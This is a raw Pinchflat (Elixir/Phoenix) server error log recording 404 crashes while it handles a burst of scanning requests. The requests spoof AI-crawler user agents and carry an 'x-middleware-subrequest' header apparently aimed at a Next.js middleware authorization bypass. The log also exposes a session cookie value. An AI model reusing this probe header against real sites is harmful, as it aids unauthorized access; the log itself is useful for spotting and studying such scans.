~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29832.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/openapi.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34664}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/openapi (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29832.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/openapi.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34664}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undef (truncated) 16:49:09.875 [info] GET /api/account 16:49:09.875 [debug] QUERY OK source="settings" db=0.0ms idle=41.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.876 [debug] QUERY OK source="settings" db=0.0ms idle=41.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.876 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.876 [error] #PID<0.29835.0> running PinchflatWeb.Endpoint (connection #PID<0.29834.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/account ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29834.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/account", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34666}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29835.0>, params: %{}, path_info: ["api", "account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/account", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61j8hgawgDDkAAIJD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29834.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/account", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34666}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29834.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/account", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34666}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, (truncated) 16:49:09.914 [info] GET /app-config.json 16:49:09.914 [debug] QUERY OK source="settings" db=0.0ms idle=80.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.914 [debug] QUERY OK source="settings" db=0.0ms idle=78.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.914 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.915 [error] #PID<0.29837.0> running PinchflatWeb.Endpoint (connection #PID<0.29836.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app-config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29836.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app-config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29837.0>, params: %{}, path_info: ["app-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/app-config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61kFxUpPAc54ABwhB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29836.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app-config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29836.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app-config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:09.961 [info] GET /health 16:49:09.961 [debug] QUERY OK source="settings" db=0.0ms idle=85.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.961 [debug] QUERY OK source="settings" db=0.0ms idle=85.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.961 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.962 [error] #PID<0.29839.0> running PinchflatWeb.Endpoint (connection #PID<0.29838.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /health ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /health (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29838.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/health", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34682}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29839.0>, params: %{}, path_info: ["health"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/health", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61kQ-jzYZXB8ABwhh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29838.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/health", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34682}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /health (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29838.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/health", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34682}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_lengt (truncated) 16:49:09.971 [info] GET /__env.js 16:49:09.972 [debug] QUERY OK source="settings" db=0.1ms idle=57.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.972 [debug] QUERY OK source="settings" db=0.1ms idle=57.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.972 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.972 [error] #PID<0.29841.0> running PinchflatWeb.Endpoint (connection #PID<0.29840.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29840.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34692}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 